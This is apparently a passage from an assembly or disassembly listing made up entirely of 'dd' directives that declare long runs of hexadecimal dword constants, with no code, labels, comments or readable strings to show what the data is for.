		dd 3D6D4891h, 3E4BB58Dh, 0B15232Ah, 4CF7E8FBh, 80E57924h
		dd 505ACA8Bh, 5FF88805h, 0AD7FE7B1h, 2BAC98h, 0CB9FB466h
		dd 0E4901315h, 0B57C6B98h, 0A8635081h, 0B8F37400h, 254D6F84h
		dd 5912B515h, 44E83BA7h, 568A008Bh, 0C9474053h,	4A009B64h
		dd 885D1A2Fh, 4C03CB2Dh, 15103AC4h, 5D5A250Ch, 2B1283C6h
		dd 0D2D13585h, 2985498Dh, 83C00B61h, 684A5632h,	806B9BEAh
		dd 0A3AA0AF4h, 0CFFA01D7h, 0BD03CE4Ch, 23739DB5h, 0D02D988h
		dd 7FFBAAE9h, 1CAC25F9h, 224FCE05h, 0E85419Ah, 0B037F6FEh
		dd 7C95716h, 315E7D54h,	0C202A9FBh, 5A03065Dh, 85C8BC8Bh
		dd 97BA00B9h, 468D2975h, 0D10E8120h, 0D609EE5Ch, 0E4030813h
		dd 9BB290D3h, 5A80BA50h, 0D48A3EE2h, 0FA6BEE5Fh, 0F51E9E0Eh
		dd 734CE454h, 8046DB92h, 0F4805964h, 56DD3138h,	21FE1E8h
		dd 84FFA25Fh, 121CC60Ah, 40D8E9FAh, 80BEB290h, 98E1207Eh
		dd 2919CC28h, 59D54DBDh, 2177602Fh, 0C9F73414h,	3109CCh
		dd 9E7BB38Ch, 3236C5Eh,	5A4ADC00h, 9A67541h, 3428E5B5h
		dd 8D015E06h, 612F4FB1h, 12453760h, 25B10FB1h, 0F9CB4070h
		dd 5657D9AAh, 0E31CD648h
		dd 4CC0CA79h, 66BEB602h, 75884CBFh, 0C9608515h,	63E9F504h
		dd 0CED29201h, 13409F70h, 0DCC39640h, 7D573A01h, 1CDCDDEFh
		dd 2C2B50FAh, 3463DB28h, 0AB0E84B6h, 65AC64F9h,	4E20B44Ah
		dd 69B573h, 0F3B6417Dh,	0F934CE2h, 57198B25h, 0C200E96Ch
		dd 0F6110EACh, 0B887AAh, 10981B28h, 0CB52CC0h, 0A1E42509h
		dd 0DF880B34h, 0DB603D4Dh, 10618B3h, 80D4ACB0h,	7B57E6D9h
		dd 978064ACh, 6A53A0A9h, 98357A00h, 5FECD01Ah, 0D920E359h
		dd 0AF6D4D8Dh, 1171902Eh, 0BBBF0105h, 503B9E5Dh, 0CACCA144h
		dd 392E2653h, 0E2F80E7Dh, 1BC22CE9h, 0EC10462h,	20ED7B90h
		dd 0A604E2ACh, 0D5467E64h, 0EC4DE08Ah, 0B1F0C1ACh, 2D21E0C4h
		dd 4D8921Dh, 7088976h, 0B72B658h, 1BD241DBh, 0B7243FBBh
		dd 4F208E6h, 290E813h, 4D54EA3h, 2DD88652h, 0D931809Bh
		dd 5F182529h, 853C3880h, 0FFFE389Ch, 0AE6ECAh, 224E067Eh
		dd 0EEA564E3h, 9DF54895h, 8D3E1926h, 20313BE9h,	0F6FD149h
		dd 6800D117h, 9F644DFCh, 484BF3BBh, 1E00CE6Eh, 0F21FB76h
		dd 8CA6038Dh, 0E33BCF24h, 6211176Ah, 97DA800Eh,	0ABCE165h
		dd 1AAA5C86h, 0DC551F53h, 462FD64Bh, 6A20F7FAh,	0C6B49F57h
		dd 0AA1E200h, 0CEDF62F5h, 1AE40188h, 9BC9704h, 0E2E9FABDh
		dd 2F869459h, 0FF7917C9h, 7E268CEBh, 0A2F84000h, 0B76AEEACh
		dd 5E8C3D46h, 0F198F06Bh, 0DD9E3101h, 0B1B6884h, 0EA698447h
		dd 12CB468Bh, 0E4F6FEBFh, 0F8ECAA96h, 0A951C196h, 0F58A1160h
		dd 0F09B40DAh, 25035B61h, 0FFA6EFB8h, 59ED84B0h, 5DA15F1Ch
		dd 0D78B5046h, 407B9C6Bh, 0F9417674h, 54A8B900h, 8AD5542h
		dd 0C5BF044Ah, 0C475CD59h, 0B9F2A945h, 8CC82E8h, 13E958FDh
		dd 0C9669680h, 387F6255h, 70009E65h, 8F3B4A3Fh,	1C090BEEh
		dd 91E83538h, 92F02FADh, 0ECAE020Fh, 1856411Dh,	7EA020C0h
		dd 8650593Ah, 760DE426h, 0D17999DBh, 1C1816h, 0F6800CFFh
		dd 0C185290Bh, 6A37E496h, 3ECDC0E4h, 976EBF2Ah,	7256FF12h
		dd 0AC66E932h, 0AEB0B809h, 5931024Fh, 114E660Ah, 1605618Dh
		dd 0CDC46651h, 88195188h, 7D4A9D89h, 9EE94505h,	8A0F9CD1h
		dd 53025532h, 1AFD9D31h, 24C658E9h, 0AD880A4Dh,	0F5363E28h
		dd 0BD006348h, 8058A24Bh, 0F79A22CAh, 0EB431FA2h, 89EE0C4Ah
		dd 0B1149F15h, 434F466h, 0A6BBC452h, 2BA0B11Bh,	0F1F48A21h
		dd 0B1E1D6Ah, 0C780E78Dh, 830F5090h, 0B10CDDDCh, 2B591463h
		dd 71D1FB8Bh, 2F1818h, 0F2E5D8CEh, 1CD9D29h, 8100CABAh
		dd 240F02EFh, 28E6802Fh, 95CE611Bh, 0CF081A37h,	13121193h
		dd 0E9120160h, 0A4C87A1h, 26E6021Fh, 5861E532h,	41E0006Dh
		dd 60E70Fh, 0BFF486C6h,	659B5199h, 0B5850917h, 9725AE54h
		dd 0AAF7C4EAh, 5FAC74B9h, 0FF7F9C00h, 0F8A97349h, 15C20E9h
		dd 0CF9C90ECh, 43B25012h, 0CA5D7C00h, 0A35720EFh, 2C403200h
		dd 319F3A35h, 0D11E9190h, 0F1D181Ah, 62F880ADh,	14B11FA0h
		dd 2095B5FFh, 95E9819Ch, 9055772Fh, 0D2452431h,	4A58111Ah
		dd 8484DF4Ah, 0AB9301FCh, 0DBDEA94Dh, 41E7207Ch, 614A2492h
		dd 0C07ADAEFh, 0F4B7A842h, 86EA2D80h, 15010A19h, 511FE04h
		dd 63D3A049h, 606D4D8h,	81B50134h, 5595B927h, 3807035h
		dd 62C63490h, 26C47692h, 867BC0Fh, 811F2CE9h, 0F5011C8Bh
		dd 19446E67h, 92805562h, 0E997C623h, 0FFF8D31Ch, 1C717C69h
		dd 9300D118h, 9B2E05A2h, 0A10944h, 0BB202868h, 50BA66C5h
		dd 35004C5Bh, 3A455FD8h, 6AEB268Ah, 0DD20C0A1h,	0A7021F97h
		dd 91E5C1ABh, 0A21FD84Dh, 0B307D244h, 0EA3C787Ch, 49818B4Bh
		dd 0DC782B85h, 48C18ECh, 4236FF46h, 0C25DBC6Fh,	0E9D59533h
		dd 32238B94h, 0E5B58906h, 0B39E181Eh, 0F052D013h, 0C4E063A6h
		dd 852789B3h, 0BF0F4039h, 30D4129Eh, 0B23EF66Ah, 0B4FA301Ah
		dd 0AC03B304h, 0ACAEF439h, 1CA280A4h, 0D4B221h,	4CAB04FEh
		dd 913F1D6Ah, 81B2CDD2h, 0B85A007Eh, 6EBC4C05h,	0F902B244h
		dd 0D6CA0A14h, 614F5E62h, 0A461958Bh, 0D19671C7h, 0C9088D14h
		dd 0B4168167h, 45F8725Dh, 9090A163h, 0A36BAE2Bh, 0D9106700h
		dd 9AA8CF96h, 0FD2D0490h, 51432301h, 0C00D261Fh, 34191CEFh
		dd 0E8ABBD10h, 0E1648DE2h, 61F50274h, 0C1540702h, 60A59D62h
		dd 0D73BAB59h, 0A90E2378h, 5BAA1288h, 3754FB00h, 0AC0C6633h
		dd 0D0A00130h, 1E42FF32h, 396E2E58h, 9F518E0Eh,	99857069h
		dd 0C2994429h, 0F047B608h, 9060EAC2h, 24E09992h, 1A8508F9h
		dd 4640B3AEh, 0F82EF93Ch, 0E8BA070Eh, 103EB4B7h, 0A2EA8166h
		dd 3E854351h, 81B27F13h, 0A7368C24h, 7F00CDB7h,	61ADA432h
		dd 2E13F0BAh, 4F2F860Fh, 750BCD20h, 1550B201h, 13413DD4h
		dd 8F081F7h, 2F9A6FCBh,	14C28301h, 163F3089h, 38FFCF83h
		dd 812F73A6h, 65E87E50h, 60CCEBD7h, 5805A0E8h, 1AC2642Bh
		dd 2D9C4F0h, 5A4D3882h,	3BE6F1FFh, 3C50B700h, 3A81D003h
		dd 18D345ECh, 0E02DB2CCh, 0E90AC610h, 31E54CD9h, 9D08893h
		dd 40030614h, 88EF4F3Ch, 1E3181C2h, 12627D8Bh, 5032225h
		dd 1C5B61F8h, 8DD1030Ch, 4D27D520h, 459008EDh, 29FA5F0Eh
		dd 51684CEFh, 10D18B50h, 0B0A98114h, 59B56014h,	0BFC3C033h
		dd 24E4EA76h, 47A1A3FCh, 78533A68h, 0AAD2A3E6h,	35304BA2h
		dd 0E8D38BA7h, 0B40B44h, 7A50418Fh, 0A7D9F3C3h,	5BA83575h
		dd 672C6E0h, 2B0D5C00h,	0E6218861h, 343B4C80h, 4FA99C03h
		dd 35CF5ED7h, 0C3E4816Ah, 0B0B80073h, 1CB37787h, 4A60D233h
		dd 20EBDD8Ah, 6661077Dh, 504E06BBh, 80163C8Bh, 8106E971h
		dd 2545D3F7h, 99C0C46h,	0A8165A67h, 7DE27A0Ch, 0FE0EF9h
		dd 0F35E4CFh, 8B57C0BFh, 638FCE2Eh, 80C1843Ah, 5C8017D8h
		dd 4CE86219h, 0A303510Eh, 5B18AABAh, 0B115C2E9h, 0F17881Bh
		dd 48DCFAE8h, 0AA641E8Ch, 0E22495B1h, 0ABF002Bh, 95F9B503h
		dd 0F86000BAh, 9AE55861h, 6D3A1D23h, 854800F3h,	0D88B7ED0h
		dd 6C4F0679h, 8677181h,	0B521E860h, 11A8B76h, 911C5953h
		dd 0F022E37Bh, 4B74CBA3h, 6823F000h, 0C17833DEh, 27D41DD9h
		dd 540873C9h, 0D60B2100h, 8881ED33h, 486300C6h,	47FBB9C7h
		dd 0A003832h, 24D094FDh, 7C4D064Eh, 0F68200D6h,	738C3D23h
		dd 0B503499Eh, 0F14825F7h, 0E1BC8E9h, 709B1930h, 0C3C16081h
		dd 834F2AF8h, 0EFBE7D07h, 0B790F929h, 0C7BAB56h, 13F138CBh
		dd 570AF020h, 20A3D55Fh, 8C2CDE78h, 0C0A6F0C8h,	0C17D33DBh
		dd 5022F146h, 33D30E00h, 9AFDD2A0h, 0A140C832h,	7A33DCC0h
		dd 22C946C1h, 12097B53h, 0C46133h, 0EA47FA92h, 0C514A81Eh
		dd 4094C298h, 480A4980h, 0D42018D4h, 1103F000h,	6AAA946h
		dd 0A2F4A104h, 3B60080Ch, 46196221h, 3427349h, 0FDA88D69h
		dd 500DD6E4h, 282BDE6Dh, 30181042h, 0DD118B7Bh,	0EB886779h
		dd 8B73B080h, 0C3A1ECh,	80222F1Bh, 0FA71E3F7h, 7985510Eh
		dd 0E09A8AAEh, 28F2B420h, 1F682383h, 0DA8B7C01h, 0E4185F79h
		dd 774B788h, 0A6799A8Bh, 0A0507C19h, 20C35674h,	0C274F0EFh
		dd 0A08F86h, 17E0AFA5h,	78C060Ch, 8B4044Ch, 0C2219D60h
		dd 6E0A7h, 6D51B949h, 4AEA750Ch, 0AA0A3C90h, 8CD14CCDh
		dd 257E8A04h, 0D582F00Fh, 98A7F644h, 467C4866h,	0AA4707EDh
		dd 0F3D7D9EAh, 0DF5B9DE1h, 6CACC5E4h, 7A9060F0h, 0A0D600E9h
		dd 18E9D8DAh, 9D8259E6h, 81371100h, 8270CBD8h, 6C3A8445h
		dd 12025F23h, 82B69476h
		dd 8C2A494h, 2C63DC0h, 0C15E0ADh, 1190319Ch, 0D930A5C0h
		dd 645F2F9h, 0CA0FE2F7h, 0F37B6946h, 524B300h, 9F3A4C48h
		dd 8E690065h, 2C91E08Ch, 0F08B80CBh, 0FB8B11Ah,	0A196D9CAh
		dd 420C4492h, 307022F6h, 135CE0ABh, 224C42D0h, 0A3C60691h
		dd 416CC1E0h, 13B2850Bh, 0A41280AEh, 482D30C3h,	44506032h
		dd 478940D9h, 0CB3E3A0Fh, 282193C4h, 7B001135h,	0A36401AEh
		dd 0D740FE99h, 0E4B1DA90h, 94CDD8A0h, 0E3A4FC50h, 0D2B4904h
		dd 3C91966Dh, 0A0F2A3FFh, 3D304B8Ch, 3540A00Fh,	10498090h
		dd 0C261528h, 71C89BECh, 478A81C6h, 808DA1E8h, 1CE951E9h
		dd 24FF65F5h, 82C79AFh,	0D6444D82h, 0AB461360h,	1114AA23h
		dd 1B60123Eh, 0D2C03C1Dh, 0F3F7F515h, 8F412853h, 2D612084h
		dd 4DDE181Bh, 0D5602330h, 0A8461001h, 5C230CAAh, 46186381h
		dd 9094416Fh, 266D01E5h, 19201BC7h, 3080292Bh, 0E00DEAF8h
		dd 30601A1Bh, 0E300E1CDh, 0A012DD7Bh, 0C22F53Eh, 0E0A83073h
		dd 0B40C1011h, 0C5809988h, 0C080E0A0h, 0D44D0054h, 0B1F69FB9h
		dd 1492FB6Dh, 571BE600h, 0A62E015Bh, 0A099FC9Ch, 415A7DACh
		dd 0C0F82140h, 809938B5h, 7A801911h, 6F79DC8Bh,	0B1C0C4B1h
		dd 0ED8B72h, 7DC118CCh,	82C59EF3h, 0A0CAF4A9h, 0BE21E4D9h
		dd 83D7115Bh, 8AAA4612h, 1038311Ch, 461A61h, 1E662652h
		dd 62E92AB4h, 0DC02182Ah, 36440CA7h, 60C1BF62h,	6A8220Bh
		dd 94B1B6F9h, 0B088E9B8h, 0F6629Eh, 904B899Ah, 766F7D0Bh
		dd 21C1D490h, 0F446A023h, 8C75F848h, 16E0AE04h,	0C338840Ch
		dd 83E0A600h, 0C7B1FF43h, 6365055Ah, 8C7D8A21h,	5820FD08h
		dd 6D0C0BDDh, 2010409Ah, 8C99F31Ch, 39189DF1h, 0C9B21606h
		dd 1068354Ah, 4D038C5h,	6F7A4D0Eh, 5DFE2C02h, 0E544A4C7h
		dd 45244D60h, 1976C30Ch, 1C71D12Dh, 0C0D6CABAh,	0B1789933h
		dd 6D0AE32Ah, 0E03F7BF7h, 467C7826h, 54F900EAh,	8C1663E4h
		dd 0DCC350BCh, 241A5223h, 0DF8B790Eh, 9C1C776Bh, 8B00B279h
		dd 5A430319h, 7DC981Eh,	9A9C4EB0h, 23631036h, 0F4486D89h
		dd 1D22324h, 0AAAF4617h, 883F1834h, 46071F64h, 95D2C853h
		dd 0AA16D0F0h, 0F5A824DEh, 802024FBh, 64C8C107h, 90530856h
		dd 0C078A7ECh, 26A21F95h, 70175601h, 1816CDE6h,	52012822h
		dd 8FE2314h, 8F046060h,	0A0DCAF05h, 7888CC2Ch, 25F1043Bh
		dd 8E63CD76h, 0C33488C8h, 6A0048Eh, 0E2079D96h,	19B60F9Eh
		dd 0AE471F78h, 2C4D4FB8h, 704DC439h, 0C5CAA300h, 5C1B6502h
		dd 0CCF047Eh, 8EABBB31h, 0C13A88DCh, 406354ADh,	32477886h
		dd 0DD14AEFEh, 4CB8F55Ch, 8C92E8DCh, 3A673100h,	0E64BC99Dh
		dd 0B21B0177h, 2473979h, 96D980F5h, 196C8FA2h, 810A24AAh
		dd 0E4467468h, 0D5034A3Eh, 1B0990C5h, 5CD10A0h,	1E11EC99h
		dd 0DB8B7D80h, 448C5779h, 7500B6E7h, 79C18A8Bh,	264DAE2Eh
		dd 9624651Ah, 23543A52h, 3A4F0098h, 3EBC5219h, 63A64600h
		dd 9996F15Ch, 0C9F4A1A5h, 756580F8h, 617919D6h,	1872684Ch
		dd 11E00AA9h, 70B8BC0Ch, 0E005A1C4h, 16491909h,	34DD8004h
		dd 9E0DB010h, 76C01266h, 90A0E7CCh, 4C5536Eh, 0C1D07B70h
		dd 0C8EC8EC7h, 814EC437h, 0FFACC2Ch, 0D0C09F88h, 3E74451Ch
		dd 0AA84C956h, 0D2DB5CD5h, 0C44DEAFCh, 37EDFE0h, 67C0AA07h
		dd 60914450h, 2C65083Bh, 44A0780Ah, 461660D3h, 3CAA2CAEh
		dd 1E6570D0h, 0AF79460Fh, 7180B047h, 0BD3570EDh, 9FC10F13h
		dd 0E523D43Ah, 20B1A309h, 0B5AEFBB0h, 3F3C908Fh, 2A730C3h
		dd 35B6B401h, 6818B39Ch, 2F314E09h, 1E62350h, 0A16E7E17h
		dd 8790508Eh, 5B01D5A8h, 54F7D8CEh, 41D6AF16h, 81A19554h
		dd 18ED7134h, 4AE2F9h, 2B417F51h, 9A3FD316h, 0F9B37738h
		dd 0A5FFC8C4h, 38E0D8A5h, 52645C9h, 23883AF4h, 56820092h
		dd 1841D6F5h, 0A03EF929h, 2781B908h, 5D91C817h,	451F880h
		dd 31121D2Eh, 0D812FD03h, 9823043Ah, 30262501h,	0F5FD681Ah
		dd 0C51089F8h, 46206CF1h, 0A86B41A0h, 0E5797CB9h, 0E041518h
		dd 0E264F5AAh, 48CEE495h, 55C13588h, 204299DBh,	601531D0h
		dd 244FAA4Ch, 66A02Ch, 0DD92461Dh, 0AA24AEC2h, 0E96808EAh
		dd 46742890h, 95FA0135h, 2A7A8AFEh, 0C62C198Ah,	350540C0h
		dd 1012B702h, 0F0D13089h, 8B039AC9h, 0D871782Bh, 12E0AA01h
		dd 2823A40Ch, 0E0A2C780h, 0BD000580h, 9C54C903h, 9C0F202h
		dd 45C3E67Ah, 0EBE42845h, 0A7F38E60h, 0C1E0801Dh, 0E49EB556h
		dd 2105AD84h, 901A2846h, 2CE78420h, 37042E60h, 78D7C031h
		dd 0F7C1CDAEh, 98E20C63h, 72991A30h, 7BC90141h,	37A16DDFh
		dd 0D5CBF070h, 0C1114300h, 49DAD481h, 201D5A38h, 7B06F37Ch
		dd 78359930h, 888AA043h, 0E200A50Bh, 0A31B34A7h, 97D0C1Eh
		dd 3A937004h, 9108E301h, 0AB488123h, 0F9FCC50Ah, 79E4C087h
		dd 1FA185BEh, 0F00B38B0h, 0B447431Eh, 0F60EC44h, 73008F15h
		dd 63BC249Ch, 0C0714Eh,	5962D10Dh, 0A9F545CBh, 9615B600h
		dd 0A0EEF998h, 5FC30971h, 0F404B3AFh, 0DA48D8A7h, 0C17C330Bh
		dd 809865F9h, 9833D20Fh, 0CC20CD56h, 241910B8h,	0BC360048h
		dd 0CA51647Ah, 47D0C0BFh, 0DDDC0A32h, 0E0F44428h, 98D1A099h
		dd 0ABFC6518h, 8324B000h, 2A2E776Ch, 0CA284418h, 0D230127Fh
		dd 8890CE20h, 7070E330h, 0AC245AA3h, 0D6082519h, 187C2C52h
		dd 0F20F7898h, 0FA6C1815h, 0D9D300A8h, 0A3B99FCBh, 0C8C0094Ch
		dd 90021307h, 220369AEh, 63E8347h, 0A1219A31h, 3828A996h
		dd 0E71EF669h, 0FD59BDh, 8C0A6398h, 0B22A917h, 0A064D1CEh
		dd 0E0567C11h, 8C03CB9Ch, 0DADC2996h, 18C1D882h, 4284125h
		dd 973040D0h, 2203C329h, 46003776h, 2F81A50Ch, 0ED45469h
		dd 0D12D1871h, 2EAAE56Eh, 0C024808Ch, 1C7A1012h, 0ADE38824h
		dd 0AD2D4400h, 0FDFFD718h, 29AFDDFCh, 0F042CAh,	0E708D3D1h
		dd 6FF68067h, 0B391D916h, 50235C3Ah, 6E403B1Dh,	18C30332h
		dd 2A89ED9h, 9FB1B60Fh,	8F608878h, 0F519CFE1h, 31A30F4Fh
		dd 0D480DE79h, 0EB58C5AAh, 0DA181C90h, 56D93219h, 6A75005Bh
		dd 5D0897D4h, 0DE00AA53h, 470BB43h, 33A1293Ch, 6D58FE0Fh
		dd 0AD856100h, 0CD8FA5A2h, 0DE5C9628h, 160502E0h, 9D10413Dh
		dd 0A67DD440h, 1FA1440h, 0A0ED825h, 22074773h, 0A89604E4h
		dd 0F61592h, 4728A7E0h,	64A0B0ECh, 0A31F684Bh, 0C10ABD2Fh
		dd 7B050CA0h, 34D39DBEh, 0D80182B7h, 9CFF056Ch,	9B0FEFB6h
		dd 90E9C07Ch, 24457A9Eh, 2D844356h, 3A910C17h, 0A6340D80h
		dd 0FF000B26h, 9430CF3h, 30657A6Bh, 0CA5852EAh,	0D0D3846Dh
		dd 26270001h, 99E3352Ch, 0E99394C1h, 0A010936Dh, 0A9E84F80h
		dd 60CB2C3Ch, 5316DA21h, 13E7AF3h, 816102CDh, 68C4FD0Ah
		dd 4B92F00h, 0D850754Ch, 4DFE2878h, 20B14FD4h, 19BEC1A0h
		dd 8803864Ah, 0DBB67944h, 16104E97h, 3E70CC60h,	6A713404h
		dd 5D8196CDh, 4980E36Dh, 1E56AF76h, 0B73934A4h,	0DAA31E14h
		dd 1607FC96h, 0AE118423h, 3183FF6Ch, 7B54F2BBh,	9EC3CFC8h
		dd 2E732D00h, 65AC20D6h, 0EBDB3EDEh, 0F27B7C01h, 2A2D38C1h
		dd 0E8198809h, 7FF5A850h, 0EF0C2D4h, 18F0FA75h,	502084B0h
		dd 30063AE6h, 6D0E1803h, 202C48E2h, 0A8241878h,	3A84015h
		dd 0CF43EA42h, 3ED988B8h, 0FF550C73h, 2E2147A0h, 0C2150BF4h
		dd 4C84CDA1h, 42EA1884h, 5EC5A850h, 0C1041C44h,	562DF749h
		dd 28F5C0F3h, 0E40E48BEh
		dd 8A85BF73h, 0D8A20574h, 0A9F18418h, 5D61E255h, 57FFDD50h
		dd 40CDA060h, 1025C18Bh, 7BDC0129h, 0F478D19Eh,	48A1A130h
		dd 24174508h, 988E8FF5h, 0DEC03F88h, 7977F1h, 0A9F8A50Ah
		dd 83C02C75h, 4DB661C0h, 88825EFAh, 78B0080Eh, 6CB43054h
		dd 6BECE054h, 0F8256000h, 47A637CDh, 0ABE2B5h, 87ED2BDh
		dd 4CA1FF64h, 9009ACA6h, 2B46F129h, 91209748h, 80958099h
		dd 0A78316Fh, 0D2336293h, 644608D0h, 79A9A001h,	0EC32A7FFh
		dd 0F3A4705h, 0E774CCDFh, 0D625BE00h, 715A3066h, 0F14200FAh
		dd 7C74ADD3h, 1D06C6F3h, 48DA46B4h, 8BF04AE9h, 0C035C878h
		dd 36B784C3h, 9A085E00h, 8A105D7Ch, 9848C054h, 3D271906h
		dd 8907105h, 0DCB0E8DDh, 0AA45190Ch, 2A42D04Fh,	5323942Fh
		dd 9A89C603h, 68A12D1h,	30A004BAh, 370400EBh, 1A4FA321h
		dd 39C02E9Dh, 53449CC7h, 6CE03B62h, 0E201C419h,	0DDA8E65Bh
		dd 8C73F6FCh, 80339CE2h, 4BB8F1Ah, 0BEFBBD2Ch, 0C8DCA0D1h
		dd 0C0014224h, 9DC6008h, 10907C8Ah, 0F471FD12h,	67BD580h
		dd 0F39DC3E1h, 0D1F108E2h, 94546199h, 0E8E8A819h, 83008C39h
		dd 0E43DAB35h, 0F03E4158h, 50035DEAh, 8621E080h, 0B23B25D2h
		dd 8AF3800Dh, 0C344D942h, 228D2538h, 98C5A009h,	3603AE4h
		dd 843FC45Ch, 5AC8017Eh, 60F5A093h, 85241478h, 25181D7Ch
		dd 5C64B067h, 347BA60h,	402418B1h, 0EC20211Dh, 0D4C17718h
		dd 0AEC18CC0h, 8BBE99C5h, 980A0F80h, 97A4BCh, 0B98F7C7Fh
		dd 47847A18h, 4C20F26h,	0CBB3EC00h, 0D30EF538h,	0CC880250h
		dd 0AC00F455h, 9260A24Dh, 80F52CE8h, 0E0849874h, 46848190h
		dd 33DF02A2h, 0E7D1C179h, 0D70A00E0h, 80261C33h, 47EC9205h
		dd 30202B32h, 45A5FF86h, 44AEAC3Ah, 189B9044h, 22EECBC1h
		dd 0AB8A2091h, 1645EC90h, 0B85CC4D4h, 21B46A0h,	79DE8B78h
		dd 60D8D97Fh, 878B70B3h, 36532902h, 74271105h, 0D802DC10h
		dd 0AED58263h, 1FFC64A1h, 4ECE75EDh, 0F5252AFBh, 8F589168h
		dd 9AD04339h, 40BC28C6h, 492465Eh, 0DCAFB298h, 0DE8004B8h
		dd 88E6FD02h, 7F6DA516h, 4E0AEC05h, 37B228B3h, 0B010A430h
		dd 0B8EE69DBh, 99E428E5h, 5A40D762h, 0C020351h,	8ABDCE98h
		dd 578447Bh, 2B3A2EB3h,	2A34C3BCh, 9061074h, 0FD4CDD12h
		dd 0D9189979h, 0BF183Eh, 25CA3FB2h, 96EAFF7Ah, 0F270A360h
		dd 0DF81A051h, 3CF38EA9h, 0DA7BE380h, 580F3E18h, 12BF0F2Bh
		dd 0A0B01858h, 6D31C088h, 65B998A5h, 5A9AC300h,	0D40F09DFh
		dd 12967C3Fh, 92AB64B7h, 20DACB74h, 39301B1Ch, 0AF8B3F40h
		dd 2518C37Bh, 78A23231h, 61079849h, 0D23EEDC2h,	23E51F10h
		dd 87826FAh, 19060E15h,	7C584A30h, 0EC55E0DFh, 7484B642h
		dd 0E013EB46h, 5F705A0h, 0E7480C1h, 68909A4Dh, 48E4F608h
		dd 0CCB7A59Dh, 887D0E00h, 18CE2DBh, 7E6A156Fh, 0A6E1967Bh
		dd 467494D9h, 0BAB3125Dh, 44027004h, 0B228E225h, 0F8DF3139h
		dd 5F09E81Dh, 486D4F17h, 0F378B0h, 80218DA2h, 0BCEEEDCCh
		dd 560BD39h, 798A3C10h,	0C3453402h, 105B095Ch, 12298978h
		dd 29C71767h, 86A3AD8h,	13736A01h, 0F4270704h, 0AA02D1A3h
		dd 0A896810Eh, 0E2EC8297h, 28B50053h, 0F1C0F76Dh, 0ACFEE4F9h
		dd 80070170h, 0C37991E5h, 2173D14Ah, 3EB5C9C8h,	0E0007C6Eh
		dd 892E133Eh, 4D02C177h, 5620FDDCh, 0C1CCE329h,	0CB025A6Eh
		dd 0B71D6C52h, 1025EF86h, 3A686B30h, 0CD807C4Eh, 20D5FF07h
		dd 1F00A8A1h, 0D7180B77h, 69474290h, 1D0108B4h,	3DA173ABh
		dd 8D5E031Ch, 0DFF1AA68h, 0C12062AEh, 92A0AEA8h, 6E4FFC07h
		dd 14C45239h, 0F027718Ah, 9451F780h, 0ED72FF7Bh, 8B29C00h
		dd 8FEE8E75h, 0C51212F6h, 15A4C14Ch, 3386919h, 520AF71Eh
		dd 9911E84Ah, 220F00DDh, 15E190A0h, 0C99A6FFh, 9C386109h
		dd 78449B04h, 0BAA0A756h, 4202C9D5h, 851DCBDDh,	796C5991h
		dd 50FC1939h, 0FCBF01B8h, 650C0203h, 30C4398Eh,	9AC87947h
		dd 3F826h, 0E0B2B637h, 1A68FD79h, 0E4E7E90Bh, 47089ACDh
		dd 609EE424h, 2C380Bh, 0F4FE29DFh, 9C31F3F5h, 8669E502h
		dd 0E4679A6Dh, 30284870h, 7A88E058h, 0C508A0A4h, 9E173B24h
		dd 0A1BC8035h, 9D9DF0B9h, 80919124h, 0D5863A7Ch, 0A27882h
		dd 0F0944413h, 31845967h, 0B558CB04h, 0D8C332B4h, 0DD4BA0BCh
		dd 4CCA0073h, 7EC817F0h, 2700C0D5h, 32948559h, 0B4184449h
		dd 21E1079Dh, 20843E48h, 6270B410h, 18381B19h, 21A06029h
		dd 0AD103118h, 0D0F4B549h, 56E86CCBh, 0F06EAF04h, 0F0F988A8h
		dd 0F4134DB8h, 0FC93ACFFh, 52F28247h, 25D9786Ch, 382E3Ah
		dd 3094EDA6h, 25E467Ch,	197632C3h, 104C4829h, 0AEFC24h
		dd 0A75828C7h, 7BE5E8D5h, 855461F2h, 0C28895E8h, 5B97006Ah
		dd 22643B84h, 4A00E9C3h, 0F1785941h, 5873E481h,	4881B09Eh
		dd 356D748Ah, 506E2B44h, 0C72CFA0Ah, 4F8A40ACh,	1012C1F9h
		dd 0F04A034Dh, 0B7253896h, 64580E44h, 21206EC0h, 0DC08CBC6h
		dd 16F4B8DDh, 4D20080Ch, 9E14A817h, 1C3A4B84h, 13009F23h
		dd 0F5C6D5AAh, 2CEA9Bh,	25375BF7h, 23F18549h, 7E78509Bh
		dd 72E802EEh, 91106138h, 0A003F0F8h, 0C40C95A9h, 0A5582307h
		dd 0C138D818h, 442CA4E9h, 0D0000D51h, 9574AC33h, 4FB776F4h
		dd 0D9A8406Dh, 8CC6D480h, 6700A5E2h, 32FC7D46h,	7799A10h
		dd 19C07159h, 176A9077h, 0EC99457Ah, 7B13EC26h,	9F1DC804h
		dd 0DD30A022h, 0C17B3833h, 948BDBh, 3733D508h, 603EB3ABh
		dd 0E583E262h, 0BCCB30C3h, 789C5B42h, 0BE10FB4Dh, 6C489E55h
		dd 537FD10h, 96C1A67Bh,	5588208Fh, 9C15E6C0h, 0FC031EA6h
		dd 0A58301E4h, 3FAE450Ch, 0CEAA4401h, 3B6AF041h, 39C23C8h
		dd 0B152EBFAh, 400CCAE1h, 5A650E8Bh, 0F8E44E5Ch, 0E2028C36h
		dd 1938C14Dh, 7384802Fh, 0BE34CE1h, 0B33CEC71h,	960F4E0h
		dd 0A518AA1Ch, 7DD068A5h, 0DA6F0072h, 52E52B97h, 0A4901727h
		dd 86E7620h, 4A9ACDAEh,	11109749h, 4F9E809Dh, 1A24C05Ah
		dd 799B760Ch, 0DC907Ch,	0AC3173A6h, 0B2AF8FC1h,	0D1299EE8h
		dd 7B01F897h, 5D30B7FDh, 3A6A42D9h, 7EB234Ch, 10935B7Dh
		dd 0CF5DF7DBh, 0D24AB479h, 0AB981C00h, 0A7B2F30h, 390910B7h
		dd 0BC9725B8h, 4B80ED91h, 333F11A8h, 69DAE902h,	50B5C160h
		dd 0DE732438h, 3E00DE30h, 369AB775h, 0AC1647C4h, 980C4C88h
		dd 2CE5AC10h, 0ED04007Dh, 4323F797h, 0F34500A4h, 40CA77B8h
		dd 9916235Ch, 0C80E8E8Dh, 0CDAC4371h, 6018903Fh, 0F26E0A1h
		dd 46ABD93Ch, 75A2D523h, 9848F4DDh, 3D08E107h, 0E0A01C4Dh
		dd 0E7D957h, 3EBC11E9h,	2CAF91A9h, 80E791Ch, 842428E4h
		dd 465EB82Eh, 5A1E015Dh, 0FDDC0A0Eh, 2A788472h,	0AE02A6Dh
		dd 188DF745h, 0F5D00884h, 0E24DB407h, 1C0920DDh, 206E2Fh
